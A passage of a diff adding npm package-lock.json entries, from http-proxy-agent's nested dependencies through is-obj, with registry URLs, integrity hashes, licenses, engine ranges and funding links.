14928+ "peerDependenciesMeta": {
14929+ "supports-color": {
14930+ "optional": true
14931+ }
14932+ }
14933+ },
14934+ "node_modules/http-proxy-agent/node_modules/ms": {
14935+ "version": "2.1.3",
14936+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
14937+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
14938+ "license": "MIT"
14939+ },
14940+ "node_modules/http-proxy-middleware": {
14941+ "version": "2.0.9",
14942+ "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.9.tgz",
14943+ "integrity": "sha512-c1IyJYLYppU574+YI7R4QyX2ystMtVXZwIdzazUIPIJsHuWNd+mho2j+bKoHftndicGj9yh+xjd+l0yj7VeT1Q==",
14944+ "license": "MIT",
14945+ "dependencies": {
14946+ "@types/http-proxy": "^1.17.8",
14947+ "http-proxy": "^1.18.1",
14948+ "is-glob": "^4.0.1",
14949+ "is-plain-obj": "^3.0.0",
14950+ "micromatch": "^4.0.2"
14951+ },
14952+ "engines": {
14953+ "node": ">=12.0.0"
14954+ },
14955+ "peerDependencies": {
14956+ "@types/express": "^4.17.13"
14957+ },
14958+ "peerDependenciesMeta": {
14959+ "@types/express": {
14960+ "optional": true
14961+ }
14962+ }
14963+ },
14964+ "node_modules/http-signature": {
14965+ "version": "1.2.0",
14966+ "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz",
14967+ "integrity": "sha512-CAbnr6Rz4CYQkLYUtSNXxQPUH2gK8f3iWexVlsnMeD+GjlsQ0Xsy1cOX+mN3dtxYomRy21CiOzU8Uhw6OwncEQ==",
14968+ "license": "MIT",
14969+ "dependencies": {
14970+ "assert-plus": "^1.0.0",
14971+ "jsprim": "^1.2.2",
14972+ "sshpk": "^1.7.0"
14973+ },
14974+ "engines": {
14975+ "node": ">=0.8",
14976+ "npm": ">=1.3.7"
14977+ }
14978+ },
14979+ "node_modules/https-browserify": {
14980+ "version": "1.0.0",
14981+ "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-1.0.0.tgz",
14982+ "integrity": "sha512-J+FkSdyD+0mA0N+81tMotaRMfSL9SGi+xpD3T6YApKsc3bGSXJlfXri3VyFOeYkfLRQisDk1W+jIFFKBeUBbBg==",
14983+ "license": "MIT"
14984+ },
14985+ "node_modules/https-proxy-agent": {
14986+ "version": "5.0.1",
14987+ "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
14988+ "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
14989+ "license": "MIT",
14990+ "dependencies": {
14991+ "agent-base": "6",
14992+ "debug": "4"
14993+ },
14994+ "engines": {
14995+ "node": ">= 6"
14996+ }
14997+ },
14998+ "node_modules/https-proxy-agent/node_modules/debug": {
14999+ "version": "4.4.3",
15000+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
15001+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
15002+ "license": "MIT",
15003+ "dependencies": {
15004+ "ms": "^2.1.3"
15005+ },
15006+ "engines": {
15007+ "node": ">=6.0"
15008+ },
15009+ "peerDependenciesMeta": {
15010+ "supports-color": {
15011+ "optional": true
15012+ }
15013+ }
15014+ },
15015+ "node_modules/https-proxy-agent/node_modules/ms": {
15016+ "version": "2.1.3",
15017+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
15018+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
15019+ "license": "MIT"
15020+ },
15021+ "node_modules/human-signals": {
15022+ "version": "2.1.0",
15023+ "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz",
15024+ "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==",
15025+ "license": "Apache-2.0",
15026+ "engines": {
15027+ "node": ">=10.17.0"
15028+ }
15029+ },
15030+ "node_modules/iconv-lite": {
15031+ "version": "0.4.24",
15032+ "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
15033+ "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
15034+ "license": "MIT",
15035+ "dependencies": {
15036+ "safer-buffer": ">= 2.1.2 < 3"
15037+ },
15038+ "engines": {
15039+ "node": ">=0.10.0"
15040+ }
15041+ },
15042+ "node_modules/icss-utils": {
15043+ "version": "5.1.0",
15044+ "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz",
15045+ "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==",
15046+ "license": "ISC",
15047+ "engines": {
15048+ "node": "^10 || ^12 || >= 14"
15049+ },
15050+ "peerDependencies": {
15051+ "postcss": "^8.1.0"
15052+ }
15053+ },
15054+ "node_modules/idb": {
15055+ "version": "7.1.1",
15056+ "resolved": "https://registry.npmjs.org/idb/-/idb-7.1.1.tgz",
15057+ "integrity": "sha512-gchesWBzyvGHRO9W8tzUWFDycow5gwjvFKfyV9FF32Y7F50yZMp7mP+T2mJIWFx49zicqyC4uefHM17o6xKIVQ==",
15058+ "license": "ISC"
15059+ },
15060+ "node_modules/identity-obj-proxy": {
15061+ "version": "3.0.0",
15062+ "resolved": "https://registry.npmjs.org/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz",
15063+ "integrity": "sha512-00n6YnVHKrinT9t0d9+5yZC6UBNJANpYEQvL2LlX6Ab9lnmxzIRcEmTPuyGScvl1+jKuCICX1Z0Ab1pPKKdikA==",
15064+ "license": "MIT",
15065+ "dependencies": {
15066+ "harmony-reflect": "^1.4.6"
15067+ },
15068+ "engines": {
15069+ "node": ">=4"
15070+ }
15071+ },
15072+ "node_modules/ieee754": {
15073+ "version": "1.2.1",
15074+ "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
15075+ "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
15076+ "funding": [
15077+ {
15078+ "type": "github",
15079+ "url": "https://github.com/sponsors/feross"
15080+ },
15081+ {
15082+ "type": "patreon",
15083+ "url": "https://www.patreon.com/feross"
15084+ },
15085+ {
15086+ "type": "consulting",
15087+ "url": "https://feross.org/support"
15088+ }
15089+ ],
15090+ "license": "BSD-3-Clause"
15091+ },
15092+ "node_modules/ignore": {
15093+ "version": "5.3.2",
15094+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz",
15095+ "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==",
15096+ "license": "MIT",
15097+ "engines": {
15098+ "node": ">= 4"
15099+ }
15100+ },
15101+ "node_modules/immediate": {
15102+ "version": "3.0.6",
15103+ "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz",
15104+ "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==",
15105+ "license": "MIT"
15106+ },
15107+ "node_modules/immer": {
15108+ "version": "9.0.21",
15109+ "resolved": "https://registry.npmjs.org/immer/-/immer-9.0.21.tgz",
15110+ "integrity": "sha512-bc4NBHqOqSfRW7POMkHd51LvClaeMXpm8dx0e8oE2GORbq5aRK7Bxl4FyzVLdGtLmvLKL7BTDBG5ACQm4HWjTA==",
15111+ "license": "MIT",
15112+ "funding": {
15113+ "type": "opencollective",
15114+ "url": "https://opencollective.com/immer"
15115+ }
15116+ },
15117+ "node_modules/import-fresh": {
15118+ "version": "3.3.1",
15119+ "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz",
15120+ "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==",
15121+ "license": "MIT",
15122+ "dependencies": {
15123+ "parent-module": "^1.0.0",
15124+ "resolve-from": "^4.0.0"
15125+ },
15126+ "engines": {
15127+ "node": ">=6"
15128+ },
15129+ "funding": {
15130+ "url": "https://github.com/sponsors/sindresorhus"
15131+ }
15132+ },
15133+ "node_modules/import-fresh/node_modules/resolve-from": {
15134+ "version": "4.0.0",
15135+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
15136+ "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
15137+ "license": "MIT",
15138+ "engines": {
15139+ "node": ">=4"
15140+ }
15141+ },
15142+ "node_modules/import-local": {
15143+ "version": "3.2.0",
15144+ "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.2.0.tgz",
15145+ "integrity": "sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA==",
15146+ "license": "MIT",
15147+ "dependencies": {
15148+ "pkg-dir": "^4.2.0",
15149+ "resolve-cwd": "^3.0.0"
15150+ },
15151+ "bin": {
15152+ "import-local-fixture": "fixtures/cli.js"
15153+ },
15154+ "engines": {
15155+ "node": ">=8"
15156+ },
15157+ "funding": {
15158+ "url": "https://github.com/sponsors/sindresorhus"
15159+ }
15160+ },
15161+ "node_modules/imurmurhash": {
15162+ "version": "0.1.4",
15163+ "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
15164+ "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
15165+ "license": "MIT",
15166+ "engines": {
15167+ "node": ">=0.8.19"
15168+ }
15169+ },
15170+ "node_modules/indent-string": {
15171+ "version": "4.0.0",
15172+ "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
15173+ "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
15174+ "license": "MIT",
15175+ "engines": {
15176+ "node": ">=8"
15177+ }
15178+ },
15179+ "node_modules/inflight": {
15180+ "version": "1.0.6",
15181+ "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
15182+ "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
15183+ "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.",
15184+ "license": "ISC",
15185+ "dependencies": {
15186+ "once": "^1.3.0",
15187+ "wrappy": "1"
15188+ }
15189+ },
15190+ "node_modules/inherits": {
15191+ "version": "2.0.4",
15192+ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
15193+ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
15194+ "license": "ISC"
15195+ },
15196+ "node_modules/ini": {
15197+ "version": "1.3.8",
15198+ "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
15199+ "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==",
15200+ "license": "ISC"
15201+ },
15202+ "node_modules/internal-slot": {
15203+ "version": "1.1.0",
15204+ "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz",
15205+ "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==",
15206+ "license": "MIT",
15207+ "dependencies": {
15208+ "es-errors": "^1.3.0",
15209+ "hasown": "^2.0.2",
15210+ "side-channel": "^1.1.0"
15211+ },
15212+ "engines": {
15213+ "node": ">= 0.4"
15214+ }
15215+ },
15216+ "node_modules/ipaddr.js": {
15217+ "version": "1.9.1",
15218+ "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
15219+ "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
15220+ "license": "MIT",
15221+ "engines": {
15222+ "node": ">= 0.10"
15223+ }
15224+ },
15225+ "node_modules/is-arguments": {
15226+ "version": "1.2.0",
15227+ "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.2.0.tgz",
15228+ "integrity": "sha512-7bVbi0huj/wrIAOzb8U1aszg9kdi3KN/CyU19CTI7tAoZYEZoL9yCDXpbXN+uPsuWnP02cyug1gleqq+TU+YCA==",
15229+ "license": "MIT",
15230+ "dependencies": {
15231+ "call-bound": "^1.0.2",
15232+ "has-tostringtag": "^1.0.2"
15233+ },
15234+ "engines": {
15235+ "node": ">= 0.4"
15236+ },
15237+ "funding": {
15238+ "url": "https://github.com/sponsors/ljharb"
15239+ }
15240+ },
15241+ "node_modules/is-array-buffer": {
15242+ "version": "3.0.5",
15243+ "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.5.tgz",
15244+ "integrity": "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==",
15245+ "license": "MIT",
15246+ "dependencies": {
15247+ "call-bind": "^1.0.8",
15248+ "call-bound": "^1.0.3",
15249+ "get-intrinsic": "^1.2.6"
15250+ },
15251+ "engines": {
15252+ "node": ">= 0.4"
15253+ },
15254+ "funding": {
15255+ "url": "https://github.com/sponsors/ljharb"
15256+ }
15257+ },
15258+ "node_modules/is-arrayish": {
15259+ "version": "0.2.1",
15260+ "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
15261+ "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==",
15262+ "license": "MIT"
15263+ },
15264+ "node_modules/is-async-function": {
15265+ "version": "2.1.1",
15266+ "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz",
15267+ "integrity": "sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==",
15268+ "license": "MIT",
15269+ "dependencies": {
15270+ "async-function": "^1.0.0",
15271+ "call-bound": "^1.0.3",
15272+ "get-proto": "^1.0.1",
15273+ "has-tostringtag": "^1.0.2",
15274+ "safe-regex-test": "^1.1.0"
15275+ },
15276+ "engines": {
15277+ "node": ">= 0.4"
15278+ },
15279+ "funding": {
15280+ "url": "https://github.com/sponsors/ljharb"
15281+ }
15282+ },
15283+ "node_modules/is-bigint": {
15284+ "version": "1.1.0",
15285+ "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz",
15286+ "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==",
15287+ "license": "MIT",
15288+ "dependencies": {
15289+ "has-bigints": "^1.0.2"
15290+ },
15291+ "engines": {
15292+ "node": ">= 0.4"
15293+ },
15294+ "funding": {
15295+ "url": "https://github.com/sponsors/ljharb"
15296+ }
15297+ },
15298+ "node_modules/is-binary-path": {
15299+ "version": "2.1.0",
15300+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
15301+ "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
15302+ "license": "MIT",
15303+ "dependencies": {
15304+ "binary-extensions": "^2.0.0"
15305+ },
15306+ "engines": {
15307+ "node": ">=8"
15308+ }
15309+ },
15310+ "node_modules/is-boolean-object": {
15311+ "version": "1.2.2",
15312+ "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.2.tgz",
15313+ "integrity": "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==",
15314+ "license": "MIT",
15315+ "dependencies": {
15316+ "call-bound": "^1.0.3",
15317+ "has-tostringtag": "^1.0.2"
15318+ },
15319+ "engines": {
15320+ "node": ">= 0.4"
15321+ },
15322+ "funding": {
15323+ "url": "https://github.com/sponsors/ljharb"
15324+ }
15325+ },
15326+ "node_modules/is-callable": {
15327+ "version": "1.2.7",
15328+ "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz",
15329+ "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==",
15330+ "license": "MIT",
15331+ "engines": {
15332+ "node": ">= 0.4"
15333+ },
15334+ "funding": {
15335+ "url": "https://github.com/sponsors/ljharb"
15336+ }
15337+ },
15338+ "node_modules/is-core-module": {
15339+ "version": "2.16.1",
15340+ "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz",
15341+ "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==",
15342+ "license": "MIT",
15343+ "dependencies": {
15344+ "hasown": "^2.0.2"
15345+ },
15346+ "engines": {
15347+ "node": ">= 0.4"
15348+ },
15349+ "funding": {
15350+ "url": "https://github.com/sponsors/ljharb"
15351+ }
15352+ },
15353+ "node_modules/is-data-view": {
15354+ "version": "1.0.2",
15355+ "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz",
15356+ "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==",
15357+ "license": "MIT",
15358+ "dependencies": {
15359+ "call-bound": "^1.0.2",
15360+ "get-intrinsic": "^1.2.6",
15361+ "is-typed-array": "^1.1.13"
15362+ },
15363+ "engines": {
15364+ "node": ">= 0.4"
15365+ },
15366+ "funding": {
15367+ "url": "https://github.com/sponsors/ljharb"
15368+ }
15369+ },
15370+ "node_modules/is-date-object": {
15371+ "version": "1.1.0",
15372+ "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz",
15373+ "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==",
15374+ "license": "MIT",
15375+ "dependencies": {
15376+ "call-bound": "^1.0.2",
15377+ "has-tostringtag": "^1.0.2"
15378+ },
15379+ "engines": {
15380+ "node": ">= 0.4"
15381+ },
15382+ "funding": {
15383+ "url": "https://github.com/sponsors/ljharb"
15384+ }
15385+ },
15386+ "node_modules/is-docker": {
15387+ "version": "2.2.1",
15388+ "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz",
15389+ "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==",
15390+ "license": "MIT",
15391+ "bin": {
15392+ "is-docker": "cli.js"
15393+ },
15394+ "engines": {
15395+ "node": ">=8"
15396+ },
15397+ "funding": {
15398+ "url": "https://github.com/sponsors/sindresorhus"
15399+ }
15400+ },
15401+ "node_modules/is-extendable": {
15402+ "version": "1.0.1",
15403+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
15404+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
15405+ "license": "MIT",
15406+ "dependencies": {
15407+ "is-plain-object": "^2.0.4"
15408+ },
15409+ "engines": {
15410+ "node": ">=0.10.0"
15411+ }
15412+ },
15413+ "node_modules/is-extglob": {
15414+ "version": "2.1.1",
15415+ "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
15416+ "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
15417+ "license": "MIT",
15418+ "engines": {
15419+ "node": ">=0.10.0"
15420+ }
15421+ },
15422+ "node_modules/is-finalizationregistry": {
15423+ "version": "1.1.1",
15424+ "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz",
15425+ "integrity": "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==",
15426+ "license": "MIT",
15427+ "dependencies": {
15428+ "call-bound": "^1.0.3"
15429+ },
15430+ "engines": {
15431+ "node": ">= 0.4"
15432+ },
15433+ "funding": {
15434+ "url": "https://github.com/sponsors/ljharb"
15435+ }
15436+ },
15437+ "node_modules/is-fn": {
15438+ "version": "1.0.0",
15439+ "resolved": "https://registry.npmjs.org/is-fn/-/is-fn-1.0.0.tgz",
15440+ "integrity": "sha512-XoFPJQmsAShb3jEQRfzf2rqXavq7fIqF/jOekp308JlThqrODnMpweVSGilKTCXELfLhltGP2AGgbQGVP8F1dg==",
15441+ "license": "MIT",
15442+ "engines": {
15443+ "node": ">=0.10.0"
15444+ }
15445+ },
15446+ "node_modules/is-fullwidth-code-point": {
15447+ "version": "3.0.0",
15448+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
15449+ "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
15450+ "license": "MIT",
15451+ "engines": {
15452+ "node": ">=8"
15453+ }
15454+ },
15455+ "node_modules/is-function": {
15456+ "version": "1.0.2",
15457+ "resolved": "https://registry.npmjs.org/is-function/-/is-function-1.0.2.tgz",
15458+ "integrity": "sha512-lw7DUp0aWXYg+CBCN+JKkcE0Q2RayZnSvnZBlwgxHBQhqt5pZNVy4Ri7H9GmmXkdu7LUthszM+Tor1u/2iBcpQ==",
15459+ "license": "MIT"
15460+ },
15461+ "node_modules/is-generator-fn": {
15462+ "version": "2.1.0",
15463+ "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz",
15464+ "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==",
15465+ "license": "MIT",
15466+ "engines": {
15467+ "node": ">=6"
15468+ }
15469+ },
15470+ "node_modules/is-generator-function": {
15471+ "version": "1.1.2",
15472+ "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.2.tgz",
15473+ "integrity": "sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==",
15474+ "license": "MIT",
15475+ "dependencies": {
15476+ "call-bound": "^1.0.4",
15477+ "generator-function": "^2.0.0",
15478+ "get-proto": "^1.0.1",
15479+ "has-tostringtag": "^1.0.2",
15480+ "safe-regex-test": "^1.1.0"
15481+ },
15482+ "engines": {
15483+ "node": ">= 0.4"
15484+ },
15485+ "funding": {
15486+ "url": "https://github.com/sponsors/ljharb"
15487+ }
15488+ },
15489+ "node_modules/is-glob": {
15490+ "version": "4.0.3",
15491+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
15492+ "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
15493+ "license": "MIT",
15494+ "dependencies": {
15495+ "is-extglob": "^2.1.1"
15496+ },
15497+ "engines": {
15498+ "node": ">=0.10.0"
15499+ }
15500+ },
15501+ "node_modules/is-hex-prefixed": {
15502+ "version": "1.0.0",
15503+ "resolved": "https://registry.npmjs.org/is-hex-prefixed/-/is-hex-prefixed-1.0.0.tgz",
15504+ "integrity": "sha512-WvtOiug1VFrE9v1Cydwm+FnXd3+w9GaeVUss5W4v/SLy3UW00vP+6iNF2SdnfiBoLy4bTqVdkftNGTUeOFVsbA==",
15505+ "license": "MIT",
15506+ "engines": {
15507+ "node": ">=6.5.0",
15508+ "npm": ">=3"
15509+ }
15510+ },
15511+ "node_modules/is-map": {
15512+ "version": "2.0.3",
15513+ "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz",
15514+ "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==",
15515+ "license": "MIT",
15516+ "engines": {
15517+ "node": ">= 0.4"
15518+ },
15519+ "funding": {
15520+ "url": "https://github.com/sponsors/ljharb"
15521+ }
15522+ },
15523+ "node_modules/is-module": {
15524+ "version": "1.0.0",
15525+ "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz",
15526+ "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==",
15527+ "license": "MIT"
15528+ },
15529+ "node_modules/is-nan": {
15530+ "version": "1.3.2",
15531+ "resolved": "https://registry.npmjs.org/is-nan/-/is-nan-1.3.2.tgz",
15532+ "integrity": "sha512-E+zBKpQ2t6MEo1VsonYmluk9NxGrbzpeeLC2xIViuO2EjU2xsXsBPwTr3Ykv9l08UYEVEdWeRZNouaZqF6RN0w==",
15533+ "license": "MIT",
15534+ "dependencies": {
15535+ "call-bind": "^1.0.0",
15536+ "define-properties": "^1.1.3"
15537+ },
15538+ "engines": {
15539+ "node": ">= 0.4"
15540+ },
15541+ "funding": {
15542+ "url": "https://github.com/sponsors/ljharb"
15543+ }
15544+ },
15545+ "node_modules/is-negative-zero": {
15546+ "version": "2.0.3",
15547+ "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz",
15548+ "integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==",
15549+ "license": "MIT",
15550+ "engines": {
15551+ "node": ">= 0.4"
15552+ },
15553+ "funding": {
15554+ "url": "https://github.com/sponsors/ljharb"
15555+ }
15556+ },
15557+ "node_modules/is-number": {
15558+ "version": "7.0.0",
15559+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
15560+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
15561+ "license": "MIT",
15562+ "engines": {
15563+ "node": ">=0.12.0"
15564+ }
15565+ },
15566+ "node_modules/is-number-object": {
15567+ "version": "1.1.1",
15568+ "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.1.tgz",
15569+ "integrity": "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==",
15570+ "license": "MIT",
15571+ "dependencies": {
15572+ "call-bound": "^1.0.3",
15573+ "has-tostringtag": "^1.0.2"
15574+ },
15575+ "engines": {
15576+ "node": ">= 0.4"
15577+ },
15578+ "funding": {
15579+ "url": "https://github.com/sponsors/ljharb"
15580+ }
15581+ },
15582+ "node_modules/is-obj": {
15583+ "version": "1.0.1",
15584+ "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz",
